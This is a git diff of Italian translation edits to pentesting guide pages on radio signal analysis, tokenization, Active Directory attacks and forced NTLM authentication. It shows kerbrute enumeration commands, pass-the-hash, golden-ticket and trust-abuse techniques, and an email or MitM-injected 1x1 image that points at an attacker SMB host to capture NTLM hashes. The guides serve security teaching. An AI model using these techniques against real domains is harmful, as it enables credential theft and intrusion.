Se il segnale ha più di 1 bit per simbolo (ad esempio 2), SigDigger **non ha modo di sapere quale simbolo è** 00, 01, 10, 11, quindi utilizzerà diverse **scale di grigio** per rappresentare ciascuno (e se copi i bit utilizzerà **numeri da 0 a 3**, dovrai trattarli).
|
||||
Se il segnale ha più di 1 bit per simbolo (ad esempio 2), SigDigger non ha **modo di sapere quale simbolo è** 00, 01, 10, 11, quindi utilizzerà diverse **scale di grigio** per rappresentare ciascuno (e se copi i bit utilizzerà **numeri da 0 a 3**, dovrai trattarli).
|
||||
|
||||
Inoltre, usa **codificazioni** come **Manchester**, e **up+down** può essere **1 o 0** e un down+up può essere un 1 o 0. In quei casi devi **trattare gli up (1) e down (0) ottenuti** per sostituire le coppie di 01 o 10 come 0 o 1.
|
||||
Inoltre, usa **codificazioni** come **Manchester**, e **up+down** può essere **1 o 0** e un down+up può essere un 1 o 0. In questi casi devi **trattare gli up (1) e down (0) ottenuti** per sostituire le coppie di 01 o 10 come 0 o 1.
|
||||
|
||||
## Esempio FM
|
||||
|
||||
@ -187,7 +187,7 @@ E questo sarebbe l'istogramma di fase (che rende molto chiaro che il segnale non
|
||||
|
||||
IQ non ha un campo per identificare le frequenze (la distanza dal centro è ampiezza e l'angolo è fase).\
|
||||
Pertanto, per identificare FM, dovresti **vedere solo fondamentalmente un cerchio** in questo grafico.\
|
||||
Inoltre, una frequenza diversa è "rappresentata" dal grafico IQ da una **accelerazione della velocità attraverso il cerchio** (quindi in SysDigger selezionando il segnale il grafico IQ si popola, se trovi un'accelerazione o un cambiamento di direzione nel cerchio creato potrebbe significare che questo è FM):
|
||||
Inoltre, una frequenza diversa è "rappresentata" dal grafico IQ da una **accelerazione di velocità attraverso il cerchio** (quindi in SysDigger selezionando il segnale il grafico IQ si popola, se trovi un'accelerazione o un cambiamento di direzione nel cerchio creato potrebbe significare che questo è FM):
|
||||
|
||||
.png>)
|
||||
|
||||
|
||||
@ -10,7 +10,7 @@
|
||||
### **Come Funziona la Tokenizzazione**
|
||||
|
||||
1. **Suddivisione del Testo:**
|
||||
- **Tokenizzatore di Base:** Un tokenizzatore semplice potrebbe suddividere il testo in singole parole e segni di punteggiatura, rimuovendo gli spazi.
|
||||
- **Tokenizzatore di Base:** Un tokenizzatore semplice potrebbe suddividere il testo in parole e segni di punteggiatura individuali, rimuovendo gli spazi.
|
||||
- _Esempio:_\
|
||||
Testo: `"Ciao, mondo!"`\
|
||||
Token: `["Ciao", ",", "mondo", "!"]`
|
||||
@ -27,7 +27,7 @@ Se `"Ciao"` è assegnato ID `64`, `","` è `455`, `"mondo"` è `78`, e `"!"` è
|
||||
- **Gestione delle Parole Sconosciute:**\
|
||||
Se una parola come `"Addio"` non è nel vocabolario, viene sostituita con `[UNK]`.\
|
||||
`"Addio, mondo!"` → `["[UNK]", ",", "mondo", "!"]` → `[987, 455, 78, 467]`\
|
||||
&#xNAN;_(Assumendo che `[UNK]` abbia ID `987`)_
|
||||
_(Assumendo che `[UNK]` abbia ID `987`)_
|
||||
|
||||
### **Metodi di Tokenizzazione Avanzati**
|
||||
|
||||
@ -50,7 +50,7 @@ Mentre il tokenizzatore di base funziona bene per testi semplici, ha limitazioni
|
||||
- **Come Funziona:**
|
||||
- Inizia con un vocabolario di base di caratteri individuali.
|
||||
- Aggiunge iterativamente la sottoparola più frequente che massimizza la probabilità dei dati di addestramento.
|
||||
- Usa un modello probabilistico per decidere quali sottoparole unire.
|
||||
- Utilizza un modello probabilistico per decidere quali sottoparole unire.
|
||||
- **Vantaggi:**
|
||||
- Bilancia tra avere una dimensione del vocabolario gestibile e rappresentare efficacemente le parole.
|
||||
- Gestisce in modo efficiente parole rare e composte.
|
||||
@ -58,14 +58,14 @@ Mentre il tokenizzatore di base funziona bene per testi semplici, ha limitazioni
|
||||
`"infelicità"` potrebbe essere tokenizzato come `["in", "felicità"]` o `["in", "felice", "tà"]` a seconda del vocabolario.
|
||||
3. **Unigram Language Model:**
|
||||
- **Usato Da:** Modelli come SentencePiece.
|
||||
- **Scopo:** Usa un modello probabilistico per determinare il set di token di sottoparola più probabile.
|
||||
- **Scopo:** Utilizza un modello probabilistico per determinare il set di token di sottoparola più probabile.
|
||||
- **Come Funziona:**
|
||||
- Inizia con un ampio set di token potenziali.
|
||||
- Rimuove iterativamente i token che migliorano meno la probabilità del modello sui dati di addestramento.
|
||||
- Finalizza un vocabolario in cui ogni parola è rappresentata dalle unità di sottoparola più probabili.
|
||||
- **Vantaggi:**
|
||||
- Flessibile e può modellare il linguaggio in modo più naturale.
|
||||
- Spesso porta a tokenizzazioni più efficienti e compatte.
|
||||
- Risultati spesso in tokenizzazioni più efficienti e compatte.
|
||||
- _Esempio:_\
|
||||
`"internazionalizzazione"` potrebbe essere tokenizzato in sottoparole più piccole e significative come `["internazionale", "izzazione"]`.
|
||||
|
||||
|
||||
@ -25,7 +25,7 @@ I concetti chiave all'interno di **Active Directory** includono:
|
||||
5. **Rights Management** – Aiuta a proteggere il materiale protetto da copyright regolando la sua distribuzione e uso non autorizzati.
|
||||
6. **DNS Service** – Cruciale per la risoluzione dei **nomi di dominio**.
|
||||
|
||||
Per una spiegazione più dettagliata controlla: [**TechTerms - Definizione di Active Directory**](https://techterms.com/definition/active_directory)
|
||||
Per una spiegazione più dettagliata, controlla: [**TechTerms - Definizione di Active Directory**](https://techterms.com/definition/active_directory)
|
||||
|
||||
### **Autenticazione Kerberos**
|
||||
|
||||
@ -77,7 +77,7 @@ Se hai solo accesso a un ambiente AD ma non hai credenziali/sessioni, potresti:
|
||||
### Enumerazione utenti
|
||||
|
||||
- **Enumerazione SMB/LDAP anonima:** Controlla le pagine [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) e [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md).
|
||||
- **Enumerazione Kerbrute**: Quando viene **richiesto un nome utente non valido**, il server risponderà utilizzando il codice di errore **Kerberos** _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, permettendoci di determinare che il nome utente era non valido. I **nomi utente validi** genereranno o il **TGT in una risposta AS-REP** o l'errore _KRB5KDC_ERR_PREAUTH_REQUIRED_, indicando che l'utente deve eseguire la pre-autenticazione.
|
||||
- **Enumerazione Kerbrute**: Quando viene **richiesto un nome utente non valido**, il server risponderà utilizzando il codice di errore **Kerberos** _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, permettendoci di determinare che il nome utente era non valido. I **nomi utente validi** genereranno o il **TGT in una risposta AS-REP** o l'errore _KRB5KDC_ERR_PREAUTH_REQUIRED_, indicando che l'utente è tenuto a eseguire la pre-autenticazione.
|
||||
```bash
|
||||
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
|
||||
|
||||
@ -171,7 +171,7 @@ Per quanto riguarda [**ASREPRoast**](asreproast.md) ora puoi trovare ogni possib
|
||||
|
||||
È molto facile ottenere tutti i nomi utente del dominio da Windows (`net user /domain` ,`Get-DomainUser` o `wmic useraccount get name,sid`). In Linux, puoi usare: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` o `enum4linux -a -u "user" -p "password" <DC IP>`
|
||||
|
||||
> Anche se questa sezione di Enumerazione sembra piccola, questa è la parte più importante di tutte. Accedi ai link (principalmente quello di cmd, powershell, powerview e BloodHound), impara come enumerare un dominio e pratica finché non ti senti a tuo agio. Durante una valutazione, questo sarà il momento chiave per trovare la tua strada verso DA o per decidere che non si può fare nulla.
|
||||
> Anche se questa sezione di Enumerazione sembra piccola, è la parte più importante di tutte. Accedi ai link (principalmente quello di cmd, powershell, powerview e BloodHound), impara come enumerare un dominio e pratica finché non ti senti a tuo agio. Durante una valutazione, questo sarà il momento chiave per trovare la tua strada verso DA o per decidere che non si può fare nulla.
|
||||
|
||||
### Kerberoast
|
||||
|
||||
@ -229,20 +229,20 @@ Questa vulnerabilità ha permesso a qualsiasi utente autenticato di **compromett
|
||||
printnightmare.md
|
||||
{{#endref}}
|
||||
|
||||
## Escalation dei privilegi su Active Directory CON credenziali/sessione privilegiate
|
||||
## Escalation dei privilegi su Active Directory CON credenziali/sessioni privilegiate
|
||||
|
||||
**Per le seguenti tecniche un normale utente di dominio non è sufficiente, hai bisogno di privilegi/credenziali speciali per eseguire questi attacchi.**
|
||||
|
||||
### Estrazione dell'hash
|
||||
### Estrazione degli Hash
|
||||
|
||||
Speriamo che tu sia riuscito a **compromettere qualche account admin locale** utilizzando [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) inclusi i relay, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalating privileges locally](../windows-local-privilege-escalation/index.html).\
|
||||
Speriamo tu sia riuscito a **compromettere qualche account admin locale** utilizzando [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) inclusi i relay, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalating privileges locally](../windows-local-privilege-escalation/index.html).\
|
||||
Poi, è tempo di estrarre tutti gli hash in memoria e localmente.\
|
||||
[**Leggi questa pagina sui diversi modi per ottenere gli hash.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
|
||||
|
||||
### Pass the Hash
|
||||
|
||||
**Una volta che hai l'hash di un utente**, puoi usarlo per **impersonarlo**.\
|
||||
Devi usare qualche **strumento** che **eseguirà** l'**autenticazione NTLM utilizzando** quell'**hash**, **oppure** potresti creare un nuovo **sessionlogon** e **iniettare** quell'**hash** all'interno di **LSASS**, così quando viene eseguita qualsiasi **autenticazione NTLM**, quell'**hash verrà utilizzato.** L'ultima opzione è ciò che fa mimikatz.\
|
||||
Devi usare qualche **strumento** che **eseguirà** l'**autenticazione NTLM utilizzando** quell'**hash**, **oppure** potresti creare un nuovo **sessionlogon** e **iniettare** quell'**hash** all'interno del **LSASS**, così quando viene eseguita qualsiasi **autenticazione NTLM**, quell'**hash verrà utilizzato.** L'ultima opzione è ciò che fa mimikatz.\
|
||||
[**Leggi questa pagina per ulteriori informazioni.**](../ntlm/index.html#pass-the-hash)
|
||||
|
||||
### Over Pass the Hash/Pass the Key
|
||||
@ -362,7 +362,7 @@ ad-certificates/domain-escalation.md
|
||||
|
||||
### Dumping delle Credenziali di Dominio
|
||||
|
||||
Una volta ottenuti i privilegi di **Domain Admin** o anche migliori **Enterprise Admin**, puoi **dumpare** il **database di dominio**: _ntds.dit_.
|
||||
Una volta ottenuti i privilegi di **Domain Admin** o anche meglio di **Enterprise Admin**, puoi **dumpare** il **database di dominio**: _ntds.dit_.
|
||||
|
||||
[**Maggiori informazioni sull'attacco DCSync possono essere trovate qui**](dcsync.md).
|
||||
|
||||
@ -401,7 +401,7 @@ silver-ticket.md
|
||||
|
||||
### Golden Ticket
|
||||
|
||||
Un **attacco Golden Ticket** comporta che un attaccante ottenga accesso all'**hash NTLM dell'account krbtgt** in un ambiente Active Directory (AD). Questo account è speciale perché viene utilizzato per firmare tutti i **Ticket Granting Tickets (TGT)**, che sono essenziali per l'autenticazione all'interno della rete AD.
|
||||
Un **attacco Golden Ticket** comporta che un attaccante ottenga accesso all'**hash NTLM dell'account krbtgt** in un ambiente Active Directory (AD). Questo account è speciale perché viene utilizzato per firmare tutti i **Ticket Granting Tickets (TGT)**, essenziali per l'autenticazione all'interno della rete AD.
|
||||
|
||||
Una volta che l'attaccante ottiene questo hash, può creare **TGT** per qualsiasi account scelga (attacco Silver ticket).
|
||||
|
||||
@ -427,7 +427,7 @@ ad-certificates/account-persistence.md
|
||||
|
||||
### **Persistenza dei Certificati nel Dominio**
|
||||
|
||||
**Utilizzare certificati è anche possibile per persistere con privilegi elevati all'interno del dominio:**
|
||||
**Utilizzare i certificati è anche possibile per persistere con privilegi elevati all'interno del dominio:**
|
||||
|
||||
{{#ref}}
|
||||
ad-certificates/domain-persistence.md
|
||||
@ -435,7 +435,7 @@ ad-certificates/domain-persistence.md
|
||||
|
||||
### Gruppo AdminSDHolder
|
||||
|
||||
L'oggetto **AdminSDHolder** in Active Directory garantisce la sicurezza dei **gruppi privilegiati** (come Domain Admins e Enterprise Admins) applicando una standard **Access Control List (ACL)** su questi gruppi per prevenire modifiche non autorizzate. Tuttavia, questa funzionalità può essere sfruttata; se un attaccante modifica l'ACL di AdminSDHolder per dare accesso completo a un utente normale, quell'utente guadagna un controllo esteso su tutti i gruppi privilegiati. Questa misura di sicurezza, destinata a proteggere, può quindi ritorcersi contro, consentendo accessi non autorizzati a meno che non venga monitorata attentamente.
|
||||
L'oggetto **AdminSDHolder** in Active Directory garantisce la sicurezza dei **gruppi privilegiati** (come Domain Admins e Enterprise Admins) applicando una standard **Access Control List (ACL)** su questi gruppi per prevenire modifiche non autorizzate. Tuttavia, questa funzionalità può essere sfruttata; se un attaccante modifica l'ACL di AdminSDHolder per dare accesso completo a un utente normale, quell'utente ottiene un controllo esteso su tutti i gruppi privilegiati. Questa misura di sicurezza, destinata a proteggere, può quindi ritorcersi contro, consentendo accessi non autorizzati a meno che non venga monitorata attentamente.
|
||||
|
||||
[**Maggiori informazioni sul Gruppo AdminDSHolder qui.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
|
||||
|
||||
@ -457,7 +457,7 @@ acl-persistence-abuse/
|
||||
|
||||
### Descrittori di Sicurezza
|
||||
|
||||
I **descrittori di sicurezza** vengono utilizzati per **memorizzare** i **privilegi** che un **oggetto** ha **su** un **oggetto**. Se puoi solo **fare** un **piccolo cambiamento** nel **descrittore di sicurezza** di un oggetto, puoi ottenere privilegi molto interessanti su quell'oggetto senza dover essere membro di un gruppo privilegiato.
|
||||
I **descrittori di sicurezza** vengono utilizzati per **memorizzare** i **privilegi** che un **oggetto** ha **su** un **oggetto**. Se puoi semplicemente **fare** un **piccolo cambiamento** nel **descrittore di sicurezza** di un oggetto, puoi ottenere privilegi molto interessanti su quell'oggetto senza dover essere membro di un gruppo privilegiato.
|
||||
|
||||
{{#ref}}
|
||||
security-descriptors.md
|
||||
@ -474,7 +474,7 @@ skeleton-key.md
|
||||
### Custom SSP
|
||||
|
||||
[Scopri cos'è un SSP (Security Support Provider) qui.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
|
||||
Puoi creare il tuo **SSP** per **catturare** in **testo chiaro** le **credenziali** utilizzate per accedere alla macchina.\\
|
||||
Puoi creare il tuo **SSP** per **catturare** in **testo chiaro** le **credenziali** utilizzate per accedere alla macchina.
|
||||
|
||||
{{#ref}}
|
||||
custom-ssp.md
|
||||
@ -514,24 +514,24 @@ In uno scenario tipico, se un utente intende accedere a un servizio in un **domi
|
||||
2. DC1 emette un nuovo TGT se il client viene autenticato con successo.
|
||||
3. Il client richiede quindi un **inter-realm TGT** da DC1, necessario per accedere alle risorse nel **Dominio 2**.
|
||||
4. L'inter-realm TGT è crittografato con una **chiave di fiducia** condivisa tra DC1 e DC2 come parte della fiducia tra domini bidirezionale.
|
||||
5. Il client porta l'inter-realm TGT al **Domain Controller (DC2)** del Dominio 2.
|
||||
5. Il client porta l'inter-realm TGT al **Domain Controller (DC2) del Dominio 2**.
|
||||
6. DC2 verifica l'inter-realm TGT utilizzando la sua chiave di fiducia condivisa e, se valido, emette un **Ticket Granting Service (TGS)** per il server nel Dominio 2 a cui il client desidera accedere.
|
||||
7. Infine, il client presenta questo TGS al server, che è crittografato con l'hash dell'account del server, per ottenere accesso al servizio nel Dominio 2.
|
||||
|
||||
### Diverse fiducia
|
||||
|
||||
È importante notare che **una fiducia può essere unidirezionale o bidirezionale**. Nelle opzioni bidirezionali, entrambi i domini si fideranno l'uno dell'altro, ma nella relazione di fiducia **unidirezionale** uno dei domini sarà il **fidato** e l'altro il **fiducioso**. Nel secondo caso, **sarai in grado di accedere solo alle risorse all'interno del dominio fiducioso dal fidato**.
|
||||
È importante notare che **una fiducia può essere unidirezionale o bidirezionale**. Nelle opzioni bidirezionali, entrambi i domini si fideranno l'uno dell'altro, ma nella relazione di fiducia **unidirezionale** uno dei domini sarà il **fidato** e l'altro il **fiducioso**. Nel secondo caso, **sarai in grado di accedere solo alle risorse all'interno del dominio fiducioso dal dominio fidato**.
|
||||
|
||||
Se il Dominio A si fida del Dominio B, A è il dominio fiducioso e B è quello fidato. Inoltre, in **Dominio A**, questo sarebbe una **fiducia in uscita**; e in **Dominio B**, questo sarebbe una **fiducia in entrata**.
|
||||
|
||||
**Diverse relazioni di fiducia**
|
||||
|
||||
- **Fiducia Genitore-Figlio**: Questa è una configurazione comune all'interno della stessa foresta, dove un dominio figlio ha automaticamente una fiducia bidirezionale transitiva con il suo dominio genitore. Essenzialmente, ciò significa che le richieste di autenticazione possono fluire senza problemi tra il genitore e il figlio.
|
||||
- **Fiducia Cross-link**: Riferita come "fiducia abbreviata", queste vengono stabilite tra domini figli per accelerare i processi di riferimento. In foreste complesse, i riferimenti di autenticazione devono generalmente viaggiare fino alla radice della foresta e poi giù fino al dominio target. Creando collegamenti incrociati, il viaggio viene accorciato, il che è particolarmente vantaggioso in ambienti geograficamente dispersi.
|
||||
- **Fiducia Esterna**: Queste vengono stabilite tra domini diversi e non correlati e sono di natura non transitiva. Secondo [la documentazione di Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), le fiducia esterne sono utili per accedere a risorse in un dominio al di fuori della foresta attuale che non è connesso tramite una fiducia tra foreste. La sicurezza è rafforzata attraverso il filtraggio SID con fiducia esterne.
|
||||
- **Fiducia Tree-root**: Queste fiducia vengono stabilite automaticamente tra il dominio radice della foresta e un nuovo albero radice aggiunto. Anche se non comunemente incontrate, le fiducia tree-root sono importanti per aggiungere nuovi alberi di dominio a una foresta, consentendo loro di mantenere un nome di dominio unico e garantendo una transitività bidirezionale. Maggiori informazioni possono essere trovate nella [guida di Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
|
||||
- **Fiducia Cross-link**: Riferita come "fiducia di collegamento rapido", queste vengono stabilite tra domini figli per accelerare i processi di riferimento. In foreste complesse, i riferimenti di autenticazione devono generalmente viaggiare fino alla radice della foresta e poi giù fino al dominio di destinazione. Creando collegamenti incrociati, il viaggio viene accorciato, il che è particolarmente vantaggioso in ambienti geograficamente dispersi.
|
||||
- **Fiducia Esterna**: Queste vengono stabilite tra domini diversi e non correlati e sono di natura non transitiva. Secondo la [documentazione di Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), le fiducia esterne sono utili per accedere a risorse in un dominio al di fuori della foresta attuale che non è connesso tramite una fiducia tra foreste. La sicurezza è rafforzata attraverso il filtraggio SID con fiducia esterne.
|
||||
- **Fiducia Tree-root**: Queste fiducia vengono automaticamente stabilite tra il dominio radice della foresta e un nuovo albero radice aggiunto. Anche se non comunemente incontrate, le fiducia tree-root sono importanti per aggiungere nuovi alberi di dominio a una foresta, consentendo loro di mantenere un nome di dominio unico e garantendo una transitività bidirezionale. Maggiori informazioni possono essere trovate nella [guida di Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
|
||||
- **Fiducia tra Foreste**: Questo tipo di fiducia è una fiducia bidirezionale transitiva tra due domini radice di foresta, imponendo anche il filtraggio SID per migliorare le misure di sicurezza.
|
||||
- **Fiducia MIT**: Queste fiducia vengono stabilite con domini Kerberos non Windows, [conformi a RFC4120](https://tools.ietf.org/html/rfc4120). Le fiducia MIT sono un po' più specializzate e si rivolgono a ambienti che richiedono integrazione con sistemi basati su Kerberos al di fuori dell'ecosistema Windows.
|
||||
- **Fiducia MIT**: Queste fiducia vengono stabilite con domini Kerberos non Windows, [RFC4120-compliant](https://tools.ietf.org/html/rfc4120). Le fiducia MIT sono un po' più specializzate e si rivolgono a ambienti che richiedono integrazione con sistemi basati su Kerberos al di fuori dell'ecosistema Windows.
|
||||
|
||||
#### Altre differenze nelle **relazioni di fiducia**
|
||||
|
||||
@ -547,9 +547,9 @@ Se il Dominio A si fida del Dominio B, A è il dominio fiducioso e B è quello f
|
||||
|
||||
Gli attaccanti potrebbero accedere alle risorse in un altro dominio attraverso tre meccanismi principali:
|
||||
|
||||
- **Appartenenza a Gruppi Locali**: I principi potrebbero essere aggiunti a gruppi locali su macchine, come il gruppo "Amministratori" su un server, concedendo loro un controllo significativo su quella macchina.
|
||||
- **Appartenenza a Gruppi di Domini Esterni**: I principi possono anche essere membri di gruppi all'interno del dominio esterno. Tuttavia, l'efficacia di questo metodo dipende dalla natura della fiducia e dall'ambito del gruppo.
|
||||
- **Liste di Controllo degli Accessi (ACL)**: I principi potrebbero essere specificati in un **ACL**, in particolare come entità in **ACE** all'interno di un **DACL**, fornendo loro accesso a risorse specifiche. Per coloro che desiderano approfondire la meccanica delle ACL, DACL e ACE, il whitepaper intitolato “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” è una risorsa preziosa.
|
||||
- **Appartenenza a Gruppi Locali**: I principali potrebbero essere aggiunti a gruppi locali su macchine, come il gruppo "Amministratori" su un server, concedendo loro un controllo significativo su quella macchina.
|
||||
- **Appartenenza a Gruppi di Domini Esterni**: I principali possono anche essere membri di gruppi all'interno del dominio esterno. Tuttavia, l'efficacia di questo metodo dipende dalla natura della fiducia e dall'ambito del gruppo.
|
||||
- **Liste di Controllo di Accesso (ACL)**: I principali potrebbero essere specificati in un **ACL**, in particolare come entità in **ACE** all'interno di un **DACL**, fornendo loro accesso a risorse specifiche. Per coloro che desiderano approfondire la meccanica delle ACL, DACL e ACE, il whitepaper intitolato “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” è una risorsa preziosa.
|
||||
|
||||
### Escalation dei privilegi da Figlio a Genitore nella foresta
|
||||
```
|
||||
@ -582,7 +582,7 @@ sid-history-injection.md
|
||||
|
||||
#### Sfruttare la Configurazione NC scrivibile
|
||||
|
||||
Comprendere come la Configurazione Naming Context (NC) possa essere sfruttata è cruciale. La Configurazione NC funge da repository centrale per i dati di configurazione in ambienti Active Directory (AD). Questi dati vengono replicati a ogni Domain Controller (DC) all'interno della foresta, con i DC scrivibili che mantengono una copia scrivibile della Configurazione NC. Per sfruttare questo, è necessario avere **privilegi SYSTEM su un DC**, preferibilmente un DC child.
|
||||
Comprendere come la Configurazione Naming Context (NC) possa essere sfruttata è cruciale. La Configurazione NC funge da repository centrale per i dati di configurazione in ambienti Active Directory (AD) su una foresta. Questi dati vengono replicati a ogni Domain Controller (DC) all'interno della foresta, con DC scrivibili che mantengono una copia scrivibile della Configurazione NC. Per sfruttare questo, è necessario avere **privilegi SYSTEM su un DC**, preferibilmente un DC child.
|
||||
|
||||
**Collegare GPO al sito root DC**
|
||||
|
||||
@ -608,7 +608,7 @@ La vulnerabilità ADCS ESC5 mira al controllo sugli oggetti di Public Key Infras
|
||||
|
||||
Maggiori dettagli su questo possono essere letti in [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). In scenari privi di ADCS, l'attaccante ha la capacità di impostare i componenti necessari, come discusso in [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
|
||||
|
||||
### Dominio Forestale Esterno - Unidirezionale (In entrata) o bidirezionale
|
||||
### Dominio Foresta Esterno - Unidirezionale (In entrata) o bidirezionale
|
||||
```powershell
|
||||
Get-DomainTrust
|
||||
SourceName : a.domain.local --> Current domain
|
||||
@ -663,7 +663,7 @@ rdp-sessions-abuse.md
|
||||
|
||||
### **Autenticazione Selettiva:**
|
||||
|
||||
- Per le fiducie inter-foresta, l'uso dell'Autenticazione Selettiva garantisce che gli utenti delle due foreste non siano autenticati automaticamente. Invece, sono necessarie autorizzazioni esplicite affinché gli utenti accedano ai domini e ai server all'interno del dominio o della foresta fiduciosa.
|
||||
- Per le fiducie inter-foresta, l'uso dell'Autenticazione Selettiva garantisce che gli utenti delle due foreste non siano autenticati automaticamente. Invece, sono necessarie autorizzazioni esplicite per gli utenti per accedere ai domini e ai server all'interno del dominio o della foresta fiduciosa.
|
||||
- È importante notare che queste misure non proteggono contro lo sfruttamento del Contesto di Nominazione di Configurazione (NC) scrivibile o attacchi all'account di fiducia.
|
||||
|
||||
[**Ulteriori informazioni sulle fiducie di dominio in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
|
||||
@ -676,13 +676,13 @@ https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movement
|
||||
|
||||
## Alcune Difese Generali
|
||||
|
||||
[**Scopri di più su come proteggere le credenziali qui.**](../stealing-credentials/credentials-protections.md)\\
|
||||
[**Scopri di più su come proteggere le credenziali qui.**](../stealing-credentials/credentials-protections.md)
|
||||
|
||||
### **Misure Difensive per la Protezione delle Credenziali**
|
||||
|
||||
- **Restrizioni per gli Amministratori di Dominio**: Si raccomanda che gli Amministratori di Dominio possano accedere solo ai Controller di Dominio, evitando il loro utilizzo su altri host.
|
||||
- **Privilegi degli Account di Servizio**: I servizi non dovrebbero essere eseguiti con privilegi di Amministratore di Dominio (DA) per mantenere la sicurezza.
|
||||
- **Limitazione Temporale dei Privilegi**: Per compiti che richiedono privilegi DA, la loro durata dovrebbe essere limitata. Questo può essere ottenuto con: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
|
||||
- **Limitazione Temporale dei Privilegi**: Per i compiti che richiedono privilegi DA, la loro durata dovrebbe essere limitata. Questo può essere ottenuto con: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
|
||||
|
||||
### **Implementazione di Tecniche di Inganno**
|
||||
|
||||
|
||||
@ -19,7 +19,7 @@ Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (Operati
|
||||
```
|
||||
### Trovare i servizi Spooler in ascolto
|
||||
|
||||
Utilizzando un @mysmartlogin (Vincent Le Toux) [SpoolerScanner](https://github.com/NotMedic/NetNTLMtoSilverTicket) leggermente modificato, verifica se il Servizio Spooler è in ascolto:
|
||||
Utilizzando un @mysmartlogin's (Vincent Le Toux's) [SpoolerScanner](https://github.com/NotMedic/NetNTLMtoSilverTicket) leggermente modificato, verifica se il Servizio Spooler è in ascolto:
|
||||
```bash
|
||||
. .\Get-SpoolStatus.ps1
|
||||
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}
|
||||
@ -53,7 +53,7 @@ https://github.com/p0dalirius/Coercer
|
||||
|
||||
L'attacco `PrivExchange` è il risultato di un difetto trovato nella **funzione `PushSubscription` di Exchange Server**. Questa funzione consente al server Exchange di essere forzato da qualsiasi utente di dominio con una casella di posta ad autenticarsi su qualsiasi host fornito dal client tramite HTTP.
|
||||
|
||||
Per impostazione predefinita, il **servizio Exchange viene eseguito come SYSTEM** e ha privilegi eccessivi (specificamente, ha **privilegi WriteDacl sull'aggiornamento cumulativo del dominio pre-2019**). Questo difetto può essere sfruttato per abilitare il **inoltro di informazioni a LDAP e successivamente estrarre il database NTDS del dominio**. Nei casi in cui l'inoltro a LDAP non sia possibile, questo difetto può comunque essere utilizzato per inoltrare e autenticarsi su altri host all'interno del dominio. Lo sfruttamento riuscito di questo attacco concede accesso immediato all'Amministratore di Dominio con qualsiasi account utente di dominio autenticato.
|
||||
Per impostazione predefinita, il **servizio Exchange viene eseguito come SYSTEM** e ha privilegi eccessivi (specificamente, ha **privilegi WriteDacl sull'aggiornamento cumulativo del dominio pre-2019**). Questo difetto può essere sfruttato per abilitare il **reindirizzamento delle informazioni a LDAP e successivamente estrarre il database NTDS del dominio**. Nei casi in cui il reindirizzamento a LDAP non sia possibile, questo difetto può comunque essere utilizzato per reindirizzare e autenticarsi su altri host all'interno del dominio. Lo sfruttamento riuscito di questo attacco concede accesso immediato all'Amministratore di Dominio con qualsiasi account utente di dominio autenticato.
|
||||
|
||||
## All'interno di Windows
|
||||
|
||||
@ -90,7 +90,7 @@ certutil.exe -syncwithWU \\127.0.0.1\share
|
||||
|
||||
### Via email
|
||||
|
||||
Se conosci l'**indirizzo email** dell'utente che accede a una macchina che desideri compromettere, potresti semplicemente inviargli un'**email con un'immagine 1x1** come
|
||||
Se conosci l'**indirizzo email** dell'utente che accede a una macchina che desideri compromettere, potresti semplicemente inviargli un **email con un'immagine 1x1** come
|
||||
```html
|
||||
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
|
||||
```
|
||||
@ -104,7 +104,7 @@ Se puoi eseguire un attacco MitM a un computer e iniettare HTML in una pagina ch
|
||||
```
|
||||
## Cracking NTLMv1
|
||||
|
||||
Se riesci a catturare [NTLMv1 challenges leggi qui come crackerli](../ntlm/index.html#ntlmv1-attack).\
|
||||
&#xNAN;_Rricorda che per crackare NTLMv1 devi impostare la sfida di Responder su "1122334455667788"_
|
||||
Se riesci a catturare [le sfide NTLMv1 leggi qui come crackerle](../ntlm/index.html#ntlmv1-attack).\
|
||||
_Remember che per crackare NTLMv1 devi impostare la sfida di Responder su "1122334455667788"_
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
